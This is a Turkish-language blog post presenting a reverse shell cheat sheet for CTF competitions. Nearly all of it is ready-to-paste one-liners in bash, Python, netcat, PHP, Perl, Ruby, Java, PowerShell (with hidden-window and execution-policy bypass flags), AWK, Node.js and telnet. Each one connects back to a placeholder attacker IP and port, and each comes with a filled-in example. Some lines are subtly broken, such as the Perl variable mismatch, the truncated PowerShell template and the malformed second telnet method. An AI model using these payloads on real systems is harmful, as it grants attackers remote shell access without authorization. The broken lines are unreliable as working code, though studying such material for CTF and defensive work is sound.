Reverse Shell Cheat Sheet [TR]

Bu yazımda sizlere CTF yarışmalarında yararlanacağınız bir cheat sheet hazırlamaya çalıştım. Hedef makineye sızma işlemi gerçekleştirdikten sonra sızdığınız sistemden kendi bilgisayarınıza bir "reverse shell" açmaya çalışırsınız. Böylelikle yapacağınız olayları kendi bilgisayarınızdan yönetmeniz daha kolay olur.

Bu yözden size sızdığınız makineden kendi bilgisayarınıza "reverse shell" oluşturan bazı kodları aşağıda paylaştım.

Burada öncelikle şuna dikkat etmeniz gerekmektedir.

- Kod parçalardan sizlere sorıyo **kendi IP adresiniz** yazmanız gerektiğini belirttim**(<IP adresiniz> şeklinde yazmaktadır)**. Bu belirttiğim yerlere kendi IP adresinizi yazmanız gerekmektedir.
- Kod parçalardan sizlere **port numarası yazmanız** gerektiğini belirttim. Bu belirttiğim yerlere sistemde kullanılmayan port numaralarından birini yazmanız gerekmektedir. Örnek olarak 4444, 1234, 9876 portlarından birini yazabilirsiniz.

Bash Reverse shell

```
bash -i >& /dev/tcp/<IP adresiniz>/<Port numarası> 0>&1
```

Örnek kullanımını şu şekilde görebilirsin:

```
bash -i >& /dev/tcp/192.168.1.2/4545 0>&1
```

Python Reverse Shell

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP adresiniz>",<Port numarası>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Örnek kullanımını şu şekilde görebilirsin:

```
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.1.2",4545));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
```

Netcat Reverse Shell

```
nc <IP adresiniz> <Port numarası> -e /bin/sh
```

Örnek kullanımını şu şekilde görebilirsin:

```
nc  192.168.1.2 4545 -e /bin/sh
```

PHP Reverse Shell

```
php -r '$sock=fsockopen("<IP adresiniz>",<Port numarası>);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Örnek kullanımını şu şekilde görebilirsin:

```
php -r '$sock=fsockopen("192.168.1.2",4545);
exec("/bin/sh -i <&3 >&3 2>&3");'
```

Perl Reverse Shell

```
perl -e 'use Socket;$ip="<IP adresiniz>";$port=<Port numarası> ;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($port,inet_aton($iip))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Örnek kullanımını şu şekilde görebilirsin:

```
perl -e 'use Socket;
$iip="192.168.1.2";
$port=4545;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($port,inet_aton($iip))){open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};'
```

Ruby Reverse Shell

```
ruby -rsocket -e'f=TCPSocket.open("<IP adresiniz>",<Port numarası>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Örnek kullanımını şu şekilde görebilirsin:

```
ruby -rsocket -e'f=TCPSocket.open("192.168.1.2",4545).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Java Reverse Shell

```
r = Runtime.getRuntime() p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/<IP adresiniz>/<Port numarası>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
```

Örnek kullanımını şu şekilde görebilirsin:

```
r = Runtime.getRuntime()
p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.2/4545;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

Power-Shell Reverse Shell

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<IP adresiniz>",<Port numarası>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while($i = $stream.Read($bytes, 0, $bytes.Length) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write
```

Örnek kullanımını şu şekilde görebilirsin:

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.2",4545);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while($i = $stream.Read($bytes, 0, $bytes.Length) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2  = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
```

AWK Reverse Shell

```
awk 'BEGIN {s = "/inet/tcp/0/<IP adresiniz>/<Port numarası>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```

Örnek kullanımını şu şekilde görebilirsin:

```
awk 'BEGIN {s = "/inet/tcp/0/192.168.1.2/4545";
while(42) { do{ printf "shell>" |& s;
s |& getline c;
if(c){ while ((c |& getline) > 0) print $0 |& s;
close(c); } } while(c != "exit") close(s); }}' /dev/null
```

NODE.JS Reverse Shell

```
(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(<Port numarası>,"<IP adresiniz>",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();
```

Örnek kullanımını şu şekilde görebilirsin:

```
(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);
var client=new net.Socket();
client.connect(4545,"192.168.1.2",function(){client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);});
return /a/;})();
```

TELNET Reverse Shell

1. yol:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <IP adresiniz> <Port numarası> > /tmp/f
```

Örnek kullanımını şu şekilde görebilirsin:

```
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.1.2 4545 > /tmp/f
```

2. yol:

```
rm -f /tmp/p; mknod /tmp/p p && telnet <IP adresiniz> <Port numarası> 0/tmp/p
```

Örnek kullanımını şu şekilde görebilirsin:

```
rm -f /tmp/p;
mknod /tmp/p p && telnet 192.168.1.2 4545 0/tmp/p
```

Buraya kadar olan kısımda hem teorik olarak hem de örnekleriyle "reverse shell" oluşturmayı sizlere göstermeye çalıştım. Umarım sizlere bir faydası olur 😊

Bir sonraki yazımda görüşmek üzere....

Kaynakça:

1. https://thedarksource.com/reverse-shell-cheat-sheet/
2. https://shiftasec.com/index.php/2019/19/03/reverse-shell-cheatsheet/
3. https://hackon.coffee/blog/reverse-shell-cheat-sheet/

Bunu paylaş:

- Twitter
- Facebook
-

Bunu beğen:

Beğen Yüklemiyor...

İlgili

Fatih T. tarafından yayımlandı

Hacettepe Üniversitesi Bilgisayar mühendisliği öğrencisiyim. Siber güvenlik alanında yapmış olduğum çalışmaları sizlerle paylaşmaya çalışıyorum :) Tüm gönderileri Fatih T. ile görüntüle

30 Eylül 2020

Cheat Sheet [TR], Write-Up

Yazı dolaşımı

Encryption Crypto 101 WriteUp – TryHackMe
Network Services WriteUp – TryHackMe

Bir Cevap Yazın

Yorumunu buraya...

Son Yazılar

- Active Directory Basics WriteUp – TryHackMe
- MAL: Strings WriteUp – TryHackMe
- CC: Pen Testing WriteUp – TryHackMe
- Linux "find" Komutu
- OWASP Top 10: Broken Access Control

Bizi Takip Edin

- Medium
- LinkedIn

Blogu E-posta ile Takip Et

Bu blogu takip etmek ve yeni gönderilerle ilgili bildirimleri e-postayla almak için e-posta adresinizi girin.

E-posta Adresi: E-posta adresinizi girin

Takip Et

WordPress.com'da Blog Oluşturun.

Yukarı ↑

%d blogcu bunu beğendi: